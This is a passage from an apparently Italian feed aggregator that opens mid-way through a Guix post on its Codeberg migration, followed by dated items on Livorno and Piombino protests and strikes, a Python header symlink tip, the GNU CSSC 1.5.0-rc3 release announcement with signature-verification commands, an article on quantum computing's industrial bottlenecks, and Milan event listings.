Graph showing monthly contributions to Guix.

The number of monthly authors, including new authors, keeps growing. There was a peak both in the number of authors and number of newcomers in June 2025, right after the migration to Codeberg, but for the rest growth appears to be comparable in the 2025–2026 half and in the 2024–2025 half. Guix keeps attracting new contributors but there wasn’t a significant “Codeberg effect”.

The slight increase in number of monthly committers compared to the sharper increase in number of authors might suggest that committers are more “productive”, handling more contributions.

Since the user survey highlighted some contributors were frustrated by the delay or the lack of response on contributed patches—a problem that many free software projects struggle with—a question is how well Guix deals with that today. The graph below shows the creation and closing rate of pull requests per month over the past year, together with the monthly backlog (pull requests opened the month before or earlier and still opened). This data was acquired using the amazing Forgejo interface.

Graph showing pull request rate from May 2025 to May 2026.

This again shows an impressive rate of incoming code—more than 500 pull requests opened each month!—and an equally impressive, but slightly lower, merge rate, leading to a constantly-increasing backlog. A similar backlog was observed on Debbugs before. Today, there are about 639 opened pull requests out of 6,459 ever opened, or 10%; for comparison, Nixpkgs has 12k opened pull requests out of 473k ever opened, or 2.5%. This concerning backlog in Guix can perhaps be attributed to excessive friction and/or insufficient continuous integration feedback.

One source of friction is the requirement for each commit to be signed by an authorized committer. Unlike many other projects, including Nixpkgs, this requirement means that a person needs to take responsibility and to apply and sign changes they merge, as opposed to just clicking the “Merge” button. In a way, we’re trading developer convenience for user security. It’s a tradeoff we’re willing to make because we care about securing the “software supply chain”, but we have yet to see if this cost can be mitigated in some way.

On the bright side, and although this is harder to measure, one positive impact of the move to Codeberg is that activity within the project is more legible. I already mentioned continuous integration that provides feedback directly in pull requests, such that contributors immediately discover it, but there’s more.

Guix teams are reified as Codeberg teams and their scope is given the CODEOWNERS file such that the right people are pinged. A bot also adds a corresponding label—e.g., the team-python label for what’s in the scope of the Python team—allowing for issue and pull request filtering by label. However, teams are not notified of issues tagged with the corresponding label, which is irritating.

Other features such as cross-references among issues/pull requests as well as milestones also appear to facilitate collaboration.

Outlook

This is nice and all but there’s still room for improvement.

Our infrastructure could use some help. Build power for pulls.ci.guix.gnu.org should be increased, ideally with also more diversity—building for non-x86 architectures would be great! Cuirass itself has a number of shortcomings; some are being addressed for the upcoming 1.4.x series but there’s more work to be done. And also, pulls.ci.guix.gnu.org remains very much package-oriented; it would be nice, when appropriate, to run system tests as well.

The packager workflow still leaves a bit to be desired, in particular with regards to topic branches and world rebuild scheduling, which is still mostly tied to… our otherwise retired bug tracker.

We also want to remain good citizens, not causing excessive load on Codeberg servers (oops!) and keeping an eye on storage use: a single “fork” of Guix could exceed Codeberg’s new per-user quota of 750 MiB. The solution would be to require new contributors to use the AGit workflow to create pull requests. AGit is already popular among Guix contributors; however, the idea of requiring it is seen as a “downgrade” by some because it lacks the familiarity of the “regular” pull request workflow. One way to mitigate that might be to make it more discoverable with an “AGit fork” icon as was done for Gentoo.

Part of being a good citizen, for Guix and for Codeberg e.V., is listening to and accounting for one another’s concern, and this has worked beautifully so far. Guix Foundation recently voted to become a supporting (non-voting) member of Codeberg e.V. as a way to express gratitude and support.

Oh, breaking news: a pull request adding Forgejo and a service to set it up on Guix has just been submitted! Purely declarative configuration, fully reproducible deployment of a forge—can you imagine⁈ Symbiosis at play.

Acknowledgments

Many thanks to Steve “Futurile” George, Noé Lopez, and Maxim Cournoyer for reviewing an earlier draft of this post.

DIFENDIAMO GLI ORTI URBANI DI VIA GOITO DALLA CEMENTIFICAZIONE Martedì 23 giugno alle ore 10:00 sotto il TRIBUNALE CIVILE DI LIVORNO.

22 Giugno 2026 ore 09:54

Il 23 giugno si svolgerà un'altra asta di vendita dell'area verde di Via Goito, un importantissimo polmone verde di 6 ettari, vitale per la nostra città.
Dopo tre infami tentativi di vendere gli orti all’asta, ci troviamo ancora ad assistere al misero tentativo di speculazione edilizia ai danni di uno degli ultimi polmoni verdi di via Goito, diventato nel corso degli anni simbolo di resistenza attiva contro ogni forma di cementificazione.
L'amministrazione comunale avrebbe avuto la possibilità di cambiarne la destinazione d'uso, togliendo di fatto l'edificabilità, oppure acquistare il terreno. Ma preferisce non farlo, condannandolo all'ennesima speculazione edilizia che la nostra città sarà costretta a subire.
Scendiamo in piazza uniti per esprimere il nostro dissenso: non un centimetro di cemento verrà colato.


No alla distruzione del Parco di via Goito!

Apro i vostri pacchi e trovo un Telefunken HIGH COM CN750 Compader- La posta di MVVblog

21 Giugno 2026 ore 18:00

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🥼Il video dello sbudellamento del mio studio:
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🪛SOLO per Sponsor e affiliati: mvvblogbusiness@gmail.com
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Timeline:
00:00 - Intro e arrivo di una valanga di pacchi nel bunker.
00:48 - Unboxing: mini casse Creative router e subwoofer.
05:02 - Il volo del proiettore Super 8 Bauer
05:34 - Unboxing: componenti da una console DJ e recupero pezzi.
06:38 - Aggiornamento progetto giradischi con JLC PCB.
07:41 - Test velocità (33/45 giri) e smontaggio motore giradischi.
08:37 - Action figure e gadget dal Giappone (Hatsune Miku).
09:39 - Riduttore di rumore Telefunken High Com: analisi interna.
11:17 - Test audio e funzionamento del sistema High Com.
12:22 - LaserDisc di film cult e Stereo8 "zozzi".
13:25 - Unboxing tecnico: il Supergrandangolo di Flash Gordon.
15:00 - Dispositivo streaming LiveU Solo.
15:31 - TV portatile con radio e lettore CD: test completo.
17:24 - Action figure nel bunker e tanti saluti a soreta!

#unboxing #hatsunemiku #actionfigures #anime #tecnologia #telefunken #posta #mvvblog

Gary Benson: longintrepr.h

18 Giugno 2026 ore 13:38

Did your pip install fail with longintrepr.h: No such file or directory? The file likely is on your system, but it sometime or another it was moved, from /usr/include/python3.xx/longintrepr.h to /usr/include/python3.xx/cpython/longintrepr.h. The proper fix is to update the package in question with the new path, but if you’re installing an old version of something or a package that’s no longer maintained you can work around it like this:

ln -s /usr/include/python3.*/cpython/longintrepr.h .venv/include

BASTA RINVII, BASTA PROMESSE. È IL MOMENTO DI INTERVENIRE

19 Giugno 2026 ore 16:28

USB proclama per mercoledì 24 giugno uno sciopero di 24 ore di tutti i lavoratori e le lavoratrici del polo siderurgico di Piombino, in concomitanza con l'incontro convocato presso la Regione Toscana.

A distanza di mesi dagli annunci e dagli impegni assunti, il quadro industriale continua a essere caratterizzato da incertezze, ritardi e mancanza di garanzie.

La firma dell'Accordo di Programma da parte di JSW non è ancora arrivata. Sul fronte Metinvest registriamo continui slittamenti rispetto al cronoprogramma presentato. Nel frattempo la guerra in Ucraina, elemento che incide direttamente sulle prospettive del progetto, è tutt'altro che conclusa e continua ad alimentare dubbi sulla reale sostenibilità degli investimenti annunciati.

Ancora più grave è l'assenza di qualsiasi concreta clausola di salvaguardia occupazionale capace di garantire il futuro dei lavoratori coinvolti nei processi di riconversione e rilancio del sito.

USB denuncia inoltre le crescenti difficoltà di convivenza industriale tra i due soggetti privati chiamati a operare nell'area siderurgica. Una situazione che rischia di trasformare Piombino nell'ennesimo laboratorio di promesse mancate, mentre il tempo passa e il prezzo continua a essere pagato esclusivamente dai lavoratori, dalle loro famiglie e dall'intero territorio.

Eppure il polo siderurgico di Piombino viene indicato dal Governo e dal Ministero delle Imprese e del Made in Italy come un sito strategico per l'interesse nazionale. Se davvero è così, non è più accettabile assistere all'ennesima sequenza di rinvii, incertezze e continui impieghi di risorse pubbliche senza risultati concreti sul piano industriale e occupazionale.

Per USB, dopo questi mesi di attese e promesse disattese, è necessario cambiare radicalmente approccio.

Il Governo deve esercitare i poteri della Gold Power e assumere un ruolo diretto nel futuro del polo siderurgico di Piombino, fino alla nazionalizzazione dell'asset strategico, garantendo investimenti, occupazione, tutela salariale e una reale prospettiva industriale per il territorio.

 

Non possiamo più permettere che il futuro di migliaia di lavoratori e di un settore strategico per il Paese resti ostaggio di interessi privati, ritardi e operazioni che finora hanno prodotto soltanto incertezza.

L'unico prezzo pagato fino ad oggi è stato quello imposto ai lavoratori e alle lavoratrici, costretti a vivere anni di ammortizzatori sociali, precarietà e mancanza di prospettive, mentre il territorio continua a subire gli effetti di una crisi che sembra non avere fine.

Mercoledì 24 giugno fermiamo il polo siderurgico di Piombino.

Per il lavoro, per l'industria, per il territorio.

 

USB PIOMBINO

USB INDUSTRIA NAZIONALE – CATEGORIA OPERAIA

PER LA PALESTINA, CONTRO I TRAFFICI DI ARMI E LA MILITARIZZAZIONE DEI PORTI : LA MOBILITAZIONE DEL 18 GIUGNO A LIVORNO

19 Giugno 2026 ore 09:41

La giornata del 18 giugno a Livorno si è aperta con una conferenza stampa e un presidio al Varco Valessini, promossi da USB e partecipati dalle realtà livornesi con cui da mesi condividiamo il percorso di mobilitazione a sostegno del popolo palestinese, insieme a realtà del territorio pisano, tra cui il Movimento No Base e il Coordinamento per il Boicottaggio di Israele.


Gli interventi che si sono susseguiti hanno espresso sostegno al passaggio nel nostro territorio delle imbarcazioni della Global Intifada e la Ghassan Kanafani di Freedom Flotilla Italia, impegnate in un viaggio lungo le coste italiane con l'obiettivo di contribuire alla rottura dell'assedio imposto a Gaza, denunciare la complicità dei governi europei con il governo israeliano e contrastare il traffico di armi dirette verso la Palestina.
Le finalità di questa iniziativa sono pienamente coerenti con il percorso di lotta che le realtà presenti portano avanti nei rispettivi territori. Da tempo denunciamo e contrastiamo, con tutti gli strumenti a nostra disposizione, il transito di armamenti nei porti e l'utilizzo delle infrastrutture portuali per attività e finalità militari.


In questo quadro si inserisce anche la richiesta avanzata da Drass di ottenere una concessione su una banchina dell'area portuale di Livorno, sottraendo spazi all'uso civile del porto per destinarli ad attività legate al settore militare, nello specifico ai test di sommergibili destinati all'Indonesia.
A ciò si aggiungono il traffico di armamenti e il ruolo di hub logistico militare svolto dal porto di Livorno nel collegamento, via mare e via terra, con la base statunitense di Camp Darby.


Il passaggio delle imbarcazioni ha rappresentato simbolicamente questi temi e queste lotte: l'attraversamento del porto nelle vicinanze delle aree interessate dalle richieste di Drass e il successivo percorso lungo il Canale dei Navicelli, che costeggia Camp Darby e lungo il quale transitano carichi militari diretti verso diversi luoghi di oppressione e conflitto, compresa la Palestina.


Oggi abbiamo scelto di muoverci lungo le rotte delle armi per ribadire il nostro dissenso verso il riarmo, la militarizzazione dei territori e la guerra, e per riaffermare il nostro sostegno al popolo palestinese. Una mobilitazione che continuerà e che sarà ancora più forte, qualora proseguano i processi di militarizzazione del porto e del territorio.

BAD DRIVERS OF ITALY dashcam compilation 6.18 - POSSEDUTO

18 Giugno 2026 ore 18:00

💾

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Dubbi o domande? Trovi qui le RISPOSTE https://sicurisullastrada.it/dashcam-5-minuti-per-sapere-tutto/
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Hai domande o curiosità? COMMENTA sotto al video oppure CONTATTACI https://bit.ly/contattabdoi
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SEO on-page: checklist aggiornata per ottimizzare ogni pagina del sito

18 Giugno 2026 ore 12:08
Checklist SEO on-page visualizzata su laptop per ottimizzare una pagina web.
La SEO on-page non è solo inserire parole chiave nei punti giusti. È un lavoro di struttura, contenuto, intento di ricerca, leggibilità e coerenza tecnica che aiuta ogni pagina a essere più chiara per utenti e motori di ricerca.

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Milano celebra il femminile con “Donne in Rinascita”

18 Giugno 2026 ore 09:23

Una serata di danza, arte e trasformazione

Tre quadri, nove performance e decine di artiste in scena per raccontare la forza della rinascita femminile. Domenica 21 giugno il Teatro del Borgo di Milano ospita “Donne in Rinascita”, la rassegna di Metiss’Art dedicata al valore delle donne attraverso la danza e la ricerca artistica.

Milano 17 Giugno 2026 – La rassegna di danze etniche e danze di ricerca ideata e realizzata dalle insegnanti e dalle allieve di Metiss’Art propone una riflessione artistica sul percorso di crescita, consapevolezza e trasformazione delle donne attraverso il linguaggio universale della danza. 

In un momento storico in cui il tema dell’empowerment femminile è sempre più centrale nel dibattito culturale e sociale, la rassegna offre uno spazio di espressione e condivisione dove il corpo diventa strumento di racconto, memoria e rinascita.

Lo spettacolo si sviluppa in tre quadri narrativi che accompagnano il pubblico in un percorso di crescita e trasformazione. Alle 19.00 prende il via “Conoscere e accogliere”, dedicato alla scoperta di sé e all’accettazione della propria identità. Alle 20.00 è la volta di “Trovare il cammino”, incentrato sulla ricerca della propria direzione e della forza interiore. La serata si conclude alle 21.00 con “Raccogliere i frutti”, celebrazione della maturazione personale e della consapevolezza raggiunta.

Sul palco si alterneranno danze persiane contemporanee, danza orientale, fusion, teatrodanza, FCBD Style, Danza Duende e altre forme espressive che, pur provenendo da tradizioni diverse, condividono la capacità di raccontare l’universo femminile nelle sue molteplici sfaccettature: fragilità e coraggio, radici e cambiamento, ascolto e determinazione.

Particolarmente significativa è la performance “Donne in Rinascita”, che dà il titolo all’intera rassegna e che si ispira a simboli e archetipi femminili legati alla trasformazione e alla rinascita. Un omaggio alla capacità delle donne di rigenerarsi, reinventarsi e costruire nuovi percorsi personali e collettivi.

L’iniziativa vuole inoltre valorizzare il contributo delle donne alla vita culturale della città, promuovendo il dialogo tra generazioni, culture e linguaggi artistici differenti. Attraverso la danza, Metiss’Art propone una visione del femminile come energia creativa, inclusiva e generatrice di cambiamento.

https://www.metissart.org/news/36615/amp-quot-donne-in-rinascita

Teatro del Borgo – Via Giovanni Verga 5, Milano

Biglietti:

Intera rassegna: 20 euro

Singolo quadro: 10 euro 

Prenotazioni: info@metissart.org

DONNE IN RINASCITA    

Domenica 21 giugno 2026

Dalle ore 19.00 alle ore 23.00   


L'articolo Milano celebra il femminile con “Donne in Rinascita” proviene da InfoMilano.news.

cssc @ Savannah: CSSC-1.5.0-rc3 is released

17 Giugno 2026 ore 13:05

This is to announce CSSC-1.5.0-rc3, a beta release.

This is a release candidate for a future stable 1.5.0 release.

There have been 46 commits by 2 people in the 109 weeks since CSSC-1.5.0-rc2.

See the NEWS below for a brief summary.

Thanks to everyone who has contributed!
The following people contributed changes to this release:

  Greg A. Woods (1)
  Paul Bryce (2)
  James Youngman (43)

James
==================================================================

Here is the GNU CSSC home page:
    https://gn ... rg/s/CSSC/

Here are the compressed sources and a GPG detached signature:
  https://alpha.gnu ... -1.5.0-rc3.tar.gz
  https://alpha.gnu ... .0-rc3.tar.gz.sig

Use a mirror for higher download bandwidth:
  https://www.gnu.o ... rg/order/ftp.html

Here are the SHA256 and SHA3-256 checksums:

  File: CSSC-1.5.0-rc3.tar.gz
  SHA256 sum:   a78bc23062b11c33a858acd8a08c173ea2957f763f5b7ddb2990c0fee7c71cec
  SHA3-256 sum: 20733dd3c517c1bb44c67088b1a208ebf00e1eab4ab21e806bd963869faf918a

Verify the SHA256 checksum with either sha256sum, sha256, or
'shasum -a 256'.

Verify the SHA3-256 checksum with 'cksum -a sha3 -l 256 --base64'
from coreutils-9.8.

Use a .sig file to verify that the corresponding file (without the
.sig suffix) is intact.  First, be sure to download both the .sig file
and the corresponding tarball.  Then, run a command like this:

  gpg --verify CSSC-1.5.0-rc3.tar.gz.sig

The signature should match the fingerprint of the following key:

  pub   rsa4096 2015-12-24 [SC]
        0CF4 E8D8 7159 3224 8428  32B8 88DD 9E08 C5DD ACB9
  uid   James Youngman <james@youngman.org>
  uid   James Youngman <jay@gnu.org>

If that command fails because you don't have the required public key,
or that public key has expired, try the following commands to retrieve
or refresh it, and then rerun the 'gpg --verify' command.

  gpg --locate-external-key james@youngman.org

  gpg --recv-keys 88DD9E08C5DDACB9

  wget -q -O- 'https://savannah. ... SC&download=1' | gpg --import -

As a last resort to find the key, you can try the official GNU
keyring:

  wget -q https://ftp.gnu.o ... u/gnu-keyring.gpg
  gpg --keyring gnu-keyring.gpg --verify CSSC-1.5.0-rc3.tar.gz.sig

This release is based on the CSSC git repository, available as

  git clone https://https.git ... .org/git/CSSC.git

with commit 26add75e45f79cd493409ee2f0c2646849314aad tagged as v1.5.0-rc3.

For a summary of changes and contributors, see:

  https://gitweb.gi ... tlog;h=v1.5.0-rc3

or run this command from a git-cloned CSSC directory:

  git shortlog 43b5b054701732df7ce24eb59821010c39c60cb6..v1.5.0-rc3

This release was bootstrapped with the following tools:
  Autoconf 2.72
  Automake 1.17
  Gnulib 2026-06-08 88592a2880cf39a2f597cd0294a90d8dd7faa2df

NEWS

  • Noteworthy changes in release 1.5.0-rc3 (2026-06-14)


        * Some typos in error message have been fixed.

        * admin now supports combination of -r with -n as well as the
          portable combination of -r with -i.

        * Support "sccs sact"; the sact program already existed but
  could not previously be invoked via the sccs wrapper.
  Thanks to Greg A. Woods for this improvement.

        * In some places we now prefer "grep -E" to "egrep" in order
          to avoid a warning message from GNU grep.  Some very old
          versions of Unix may not support this option.

        * Various C++ portability improvements.

  • Updated version of gnulib.


  • Updated version of googletest; this is now at the last

          version at which it still supported building with Automake.

La sfida industriale dei computer quantistici

17 Giugno 2026 ore 11:30

Immagine in evidenza rielaborata con IA

La computazione quantistica è una delle tecnologie più discusse degli ultimi anni e l’idea di costruire sistemi di calcolo basati sui fenomeni della fisica quantistica continua ad alimentare aspettative enormi. Eppure il quantum computing resta lontano dall’essere una tecnologia matura. Non soltanto perché molti problemi scientifici devono ancora essere risolti, ma anche perché, al momento, manca una filiera industriale in grado di produrre in modo scalabile, e a costi sostenibili, l’hardware necessario a far funzionare un computer quantistico.

Come si può immaginare, costruire un hardware simile è molto complesso. Servono materie prime rare, chimica avanzata, sistemi criogenici sofisticati, ottica di precisione e componenti prodotti da un numero ristretto di aziende specializzate.

Il problema fondamentale è che un computer quantistico non deve semplicemente “calcolare”. Deve riuscire a “mantenere in vita” stati fisici estremamente fragili e utilizzarli per il calcolo. La grande promessa del quantum computing – sfruttare fenomeni quantistici come la sovrapposizione e l’entanglement per eseguire operazioni impraticabili per i computer tradizionali – dipende infatti dalla capacità di isolare gli effetti quantistici dalle interferenze del mondo esterno. Il problema, come anticipato anche da Heisenberg, è che gli stati quantistici sono incredibilmente instabili. Basta pochissimo per distruggerli: una vibrazione microscopica, una minima interferenza elettromagnetica, una variazione termica impercettibile. Questo significa che la prima e principale sfida da affrontare per produrre un computer quantistico è quella di costruire una specie di guscio che isoli il processo di calcolo dal “rumore” dell’ambiente esterno.

La sfida del freddo

Una delle interferenze più difficili da controllare è il calore. Per questo molti computer quantistici – in particolare quelli basati su circuiti superconduttori, una delle architetture oggi più sviluppate da aziende come IBM e Google — operano a temperature vicinissime allo zero assoluto, inferiori persino a quelle dello spazio profondo. Per raggiungerle servono sofisticati sistemi criogenici chiamati dilution refrigerator (refrigeratore a diluizione): strutture metalliche, simili a candelabri barocchi, che sono diventate una delle immagini simbolo del quantum computing.

Uno degli elementi chiave per il funzionamento di questi refrigeratori è invece l’elio-3. Rarissimo sulla Terra, l’elio-3 è un isotopo in proporzione più abbondante sulla superficie lunare, dove si è accumulato per miliardi di anni a causa del bombardamento del vento solare. I depositi di elio-3 diffusi nella regolite lunare alimentano da decenni miti tecnologici su future miniere sulla Luna che oggi, nell’era del “capitalismo spaziale”, paiono meno fantascientifici di un tempo. E del resto si può facilmente immaginare come un eventuale aumento della domanda di questo isotopo, connessa alla crescita del quantum computing, potrebbe rendere ancora più allettante l’avvio di attività estrattive lunari.  Nell’attesa, gran parte dell’elio-3 disponibile sul nostro pianeta deriva indirettamente dal decadimento del trizio prodotto nei vecchi programmi nucleari militari, creando così un cortocircuito tra una tecnologia di frontiera e i residui industriali della guerra fredda.

Questa dipendenza da materie prime estremamente specializzate rende la filiera dei refrigeratori a diluzione molto fragile. A produrre queste macchine, infatti, sono pochissime aziende al mondo. La finlandese Bluefors, per esempio, è diventata in pochi anni uno dei principali fornitori dell’industria quantistica globale, ma anche uno degli snodi più delicati dell’intera catena produttiva. Se oggi si osserva la struttura industriale del quantum computing, ci si accorge infatti che il settore assomiglia meno all’industria informatica classica e più a un ecosistema di nicchie iperspecializzate, dove pochi attori controllano componenti essenziali e difficilmente sostituibili.

Una pluralità di approcci

Un ulteriore problema del quantum computing è che, almeno per ora, non esiste un’unica architettura dominante. Coesistono approcci diversi, ciascuno dei quali richiede infrastrutture, materiali e competenze specifici. Se i computer quantistici basati su circuiti superconduttori richiedono criogenia avanzata, i computer quantistici basati sugli “ioni intrappolati” dipendono invece da laser ad altissima stabilità, vuoto ultra-spinto e componenti fotonici delicatissimi. Altri approcci ancora – come quelli basati sui qubit fotonici o sugli atomi neutri (atomi privi di carica elettrica controllati tramite laser) – richiedono invece fibre e circuiti ottici a bassissima perdita, sorgenti luminose avanzate, specchi e cavità ottiche ad altissima qualità e, in alcuni casi, dispositivi microfabbricati costruiti con tolleranze estremamente ridotte.

Questo significa che, al momento, non esiste una singola frontiera industriale del quantum, ma molte frontiere sovrapposte. Per certi versi, la situazione ricorda alcune fasi iniziali dell’elettronica e dell’informatica del dopoguerra, quando convivevano tubi a vuoto, relè, transistor, memorie magnetiche e soluzioni architetturali diverse. Al tempo, l’industria elettronica era quindi un ecosistema frammentato, popolato da soluzioni incompatibili e processi produttivi difficili da standardizzare. La crescita esplosiva del settore arrivò solo quando emersero componenti, architetture e processi produttivi condivisi, capaci di trasformare dispositivi sperimentali in prodotti scalabili. È una lezione storica importante anche per il quantum computing.

Oggi il settore si trova ancora in una fase pre-standardizzazione: nessuno sa davvero quale architettura diventerà dominante, quali materiali saranno indispensabili o quali componenti potranno essere prodotti industrialmente su larga scala. E finché questa convergenza non avverrà, la computazione quantistica rischia di rimanere in un limbo “proto-industriale”, in cui ogni laboratorio tende a costruire il proprio ecosistema tecnologico come una specie di artigianato scientifico avanzatissimo.

Il problema del talento

La conseguenza di questo fatto è che molti processi produttivi necessari dipendono dall’esperienza accumulata da piccoli gruppi di tecnici altamente specializzati e sono, al momento, difficili da riprodurre serialmente.

La costruzione di un refrigeratore a diluzione, per esempio, richiede tecnici capaci di assemblare manualmente sistemi criogenici estremamente delicati, minimizzando vibrazioni, dispersioni termiche e impurità microscopiche. Si tratta di processi che dipendono ancora da forme di conoscenza pratica accumulate negli anni più che da standard industriali codificati. Dinamiche simili esistono anche nel campo dei semiconduttori avanzati e della litografia estrema. ASML, l’azienda olandese che produce le macchine EUV utilizzate per realizzare i chip più sofisticati al mondo, dipende a sua volta da una rete ristrettissima di fornitori iper-specializzati che, a loro volta, si avvalgono dell’esperienza di pochissimi “super-esperti” in singoli problemi tecnici altamente specifici. 

Il vero collo di bottiglia “industriale” della computazione quantistica non riguarda solo le macchine, i materiali o la fisica, ma anche – e forse soprattutto – la disponibilità di talento tecnico adeguato alla portata della sfida produttiva che il quantum computing rappresenta. Per costruire un computer quantistico non basta infatti disporre di buoni fisici teorici o di eccellenti ingegneri. Serve la capacità di integrare competenze molto rare e diverse tra loro: criogenia estrema, scienza dei materiali, ottica avanzata, microfabbricazione, elettronica a radiofrequenza, software di controllo, vuoto ultra-spinto, chimica ultrapura. E soprattutto serve farlo in modo coordinato, continuo e riproducibile. La vera difficoltà non è solo inventare una tecnologia funzionante, ma costruire una massa critica di persone capaci di trasformarla in un sistema industriale.

Per questo il futuro “industriale” del quantum computing è anche un gigantesco problema di scala umana. Non basta avere qualche centinaio di ricercatori eccellenti sparsi nel mondo accademico. Affinché la tecnologia diventi industriale servono migliaia di tecnici, ingegneri e operatori altamente qualificati distribuiti lungo filiere produttive estremamente sofisticate (un fatto che la Cina sembra aver compreso prima di tutti). Servirà cioè trasformare competenze oggi quasi artigianali in capacità industriali diffuse.

La scienza alla base di tecnologie importanti può certamente nascere da un piccolo gruppo di persone eccezionalmente dotate, ma un’industria richiede la capacità di riprodurre sistematicamente quel livello di competenza su larga scala. Ancora una volta ci si può rivolgere alla storia della microelettronica per capirlo. Il vero salto nella produzione seriale di hardware informatici non avvenne infatti quando un gruppo di pionieri ai Bell Labs inventò i transistor, ma quando gli Stati Uniti cominciarono a formare enormi quantità di ingegneri in grado di capire come funzionavano e come si potevano migliorare transistor e circuiti integrati.

In questo senso la vera sfida per il futuro della computazione quantistica non è soltanto costruire una macchina capace di funzionare. È costruire le condizioni industriali, economiche e umane per trasformare una tecnologia sperimentale fragile in un’infrastruttura produttiva stabile.

L'articolo La sfida industriale dei computer quantistici proviene da Guerre di Rete.

Zscaler porta la Zero Trust nell’era degli agenti AI

16 Giugno 2026 ore 15:33

Sebbene il numero di casi d’uso nel nostro Paese sia ancora molto basso, le previsioni di tutti gli esperti dicono che gli agenti AI diventeranno i veri “operatori” dell’automazione dei processi in azienda. Il problema è che chi dovrà gestirne la sicurezza non ha ancora l’esperienza necessaria per farsi un quadro chiaro di come questi […]

L'articolo Zscaler porta la Zero Trust nell’era degli agenti AI proviene da Securityinfo.it.

Aurora Australis

16 Giugno 2026 ore 16:21
The aurora australis arcs over Earth during an active solar event in this photograph taken at approximately 11:32 p.m. local time from the International Space Station as it orbited 271 miles above the Indian Ocean southwest of Perth, Australia on June 5.

SI PUÒ BATTERE UN RIDER DI DELIVEROO? (spoiler: no)

16 Giugno 2026 ore 14:00

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Ho provato a sfidare i rider di Deliveroo e Glovo con tutti i miei mezzi! Se Riescono a battermi hanno 10€ di Mancia! Spoiler: sono riuscito a batterne solo uno 😫

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Radioddity HF-010: L'Antenna HF Portatile Definitiva per POTA e Radioamatori?

16 Giugno 2026 ore 12:42

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La Radioddity HF-010 è una nuova antenna HF portatile multibanda che promette copertura dagli 80 ai 6 metri, montaggio rapido e ottime prestazioni in portatile. Copre da 3,5 MHz a 50 MHz e supporta fino a 100W CW e 150W PEP SSB.

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Livorno: Articolo 11 – L'Italia ripudia la guerra, 18 giugno alle ore 19:30 Teatro Officina Refugio

16 Giugno 2026 ore 11:32

Iniziativa culturale "Articolo 11 – L'Italia ripudia la guerra", in programma il prossimo 18 giugno alle ore 19:30 presso il Teatro Officina Refugio, nel quartiere Venezia di Livorno.

L'evento prevede la proiezione del documentario realizzato da Simona Tarzia e Fabio Palli, che affronta il tema dei conflitti contemporanei attraverso l'analisi dei flussi commerciali globali, della logistica portuale e delle dinamiche economiche che accompagnano e sostengono gli scenari di guerra.

La serata sarà arricchita da un momento di confronto con la partecipazione di:
Fabio Palli e Simona Tarzia, autori del documentario;
José Nivoi, CALP Genova e Coordinamento Nazionale Porti USB;
Alessio Biondi, Coordinamento Nazionale Porti USB;
Mario Spallino, fondatore Teatro Emergency.

Giovedì 18 giugno 2026 – ore 19:30
Teatro Officina Refugio
Scali del Refugio, Quartiere Venezia – Livorno

Proiezione del documentario "Articolo 11 – L'talia ripudia la guerra"
A seguire dibattito con gli autori.

Ingresso libero.


In allegato la locandina con tutte le info.

Follow The Money : Totò Riina— Palazzolo, Diamanti e Miliardi mai Trovati

15 Giugno 2026 ore 19:35

💾

Il 13 dicembre 1984 un broker lombardo entra in tribunale a Lugano e comincia a parlare. Per la prima volta, i soldi della mafia hanno un nome, un percorso, una firma. Ma i miliardi di Totò Riina — nascosti tra diamanti africani, conti svizzeri e nomi eccellenti — non sono mai stati trovati tutti.

Totò Riina ha governato Cosa Nostra per ventiquattro anni da latitante, in un appartamento di Palermo sotto falsa identità. Il suo braccio finanziario, Vito Roberto Palazzolo, costruiva intanto un impero tra il Sudafrica e la Namibia. Il ministro degli appalti, Angelo Siino, garantiva le percentuali su ogni grande contratto pubblico siciliano. Quando Riina viene arrestato nel 1993, i sequestri sfiorano cento miliardi di lire — ma lui stesso, intercettato, dichiara: "Se recupero anche un terzo di quello che ho, sono sempre ricco."

Cosa trovi in questo video:
✔️ L'arresto del broker Palazzolo a Lugano nel 1984 e il crollo della rete bancaria di Cosa Nostra
✔️ La latitanza di Totò Riina a Palermo e il sistema degli appalti siciliani gestito da Angelo Siino
✔️ La fuga di Palazzolo in Sudafrica, i diamanti angolani e l'impero costruito sotto apartheid
✔️ I lingotti d'oro e diamanti trovati a Castelvetrano, custoditi da don Ciccio Messina Denaro
✔️ Il ruolo di Ninetta Bagarella nella gestione del patrimonio sommerso di Riina
✔️ L'arresto di Palazzolo a Bangkok nel 2012 e i segreti che non ha mai rivelato

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NAMA Summer Festival: un mese di appuntamenti gratuiti nel cuore della Martesana

15 Giugno 2026 ore 17:56


Musica, cinema, spettacoli, incontri, laboratori e iniziative all’aperto.
Con la bella stagione ritorna uno degli eventi culturali
più interessanti della zona nord-est di Milano: il NAMA Summer Festival 2026,
in programma dal 12 giugno al 12 luglio al Parco della Martesana.


Dopo l’ottimo riscontro ottenuto dalla prima edizione, la manifestazione si amplia e diventa una rassegna diffusa capace di animare diverse aree del parco con un programma pensato per favorire cultura, condivisione e partecipazione.
L’iniziativa è organizzata da NAMA – Nuovo Anfiteatro Martesana con il patrocinio del Municipio 2 e il supporto del Crowdfunding Civico del Comune di Milano.


LOCATION
Il centro del festival è il Nuovo Anfiteatro Martesana, situato all’interno del Parco Martesana, tra via Valtorta e largo Martiri della Libertà Iracheni Vittime del Terrorismo.
Negli ultimi anni quest’area verde è diventata uno dei principali
punti di riferimento per la vita culturale della città.
Trenta giorni di eventi a ingresso libero
La manifestazione propone 31 giorni consecutivi di appuntamenti,
ideati per coinvolgere persone di tutte le età e valorizzare uno dei parchi più frequentati di Milano.

Il calendario prevede:
concerti e musica dal vivo;
dj set e serate dedicate alla scena elettronica;
proiezioni di cinema all’aperto;
incontri e approfondimenti culturali;
workshop e attività creative;
esposizioni e mostre;
iniziative sportive e dedicate al benessere;
laboratori per bambini e famiglie;
spettacoli teatrali e performance artistiche.

L’obiettivo è offrire occasioni di incontro e rendere la cultura sempre più accessibile,
favorendo la partecipazione della comunità locale.


APPUNTAMENTI ATTESI
Tra gli eventi già confermati figurano diverse serate dedicate alla musica elettronica e alla cultura clubbing milanese.
Ad aprire il festival è stato l’evento Botellon,
che ha dato il via alla stagione estiva del NAMA con musica e intrattenimento all’aria aperta.
Tra i momenti più attesi c’è anche il Toy Tonics Summer Jam, in programma il 20 giugno:
una giornata interamente dedicata alla house e all’italo disco con la partecipazione di dj internazionali, food truck, attività outdoor e accesso gratuito all’area open air del festival.
Il programma comprende inoltre incontri culturali, iniziative dedicate al benessere e momenti di aggregazione che accompagneranno il pubblico fino alla conclusione del 12 luglio.


ACCESSO GRATUITO
Uno dei punti di forza del NAMA Summer Festival è la sua accessibilità.
Tutte le iniziative all’aperto sono gratuite e aperte a tutti.
